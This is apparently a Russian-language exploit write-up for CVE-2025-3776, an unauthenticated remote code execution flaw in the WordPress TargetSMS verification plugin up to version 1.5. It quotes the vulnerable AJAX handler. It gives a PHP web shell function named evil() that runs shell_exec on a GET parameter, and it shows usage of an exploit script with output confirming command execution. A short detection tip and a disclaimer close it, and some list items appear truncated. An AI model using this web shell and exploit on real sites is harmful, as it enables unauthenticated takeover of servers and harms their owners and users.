
Плагин WordPress Verification SMS with TargetSMS Plugin <= 1.5 уязвим к удалённому выполнению кода (RCE)
Уязвимость возникает из-за использования call_user_func() для данных, контролируемых пользователем, без проверки по белому списку разрешённых функций. Это создаёт логическую ошибку, позволяющую выполнять любую существующую в памяти PHP-функцию без аутентификации, что приводит к серьёзной уязвимости удалённого выполнения кода (RCE).
Файл: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Этот код позволяет неаутентифицированным пользователям вызывать любую функцию, существующую в памяти, включая вредоносные, если атакующий сможет их загрузить.
Для успешной эксплуатации этой уязвимости в среде WordPress должна уже существовать вызываемая функция. Поскольку плагины и темы WordPress могут автоматически загружать функции, атакующий может внедрить собственную функцию через файл functions.php активной темы.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Это гарантирует, что функция
evil()будет загружена в память и станет доступной для выполнения черезcall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Если функция evil() или подобная ей недоступна в памяти:
{"status":false}
functions.php активной темы (как показано выше).evil().После загрузки вредоносной функции неаутентифицированный атакующий может:
Ищите повторяющиеся POST-запросы к:
/wp-admin/admin-ajax.php?action=targetvrHHndler
С параметром callback=evil или любыми неожиданными именами функций
Эта информация предоставлена исключительно в образовательных целях и для этических исследований. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый в результате использования этой информации.
Автор эксплойта: Nxploited (Khaled Alenazi)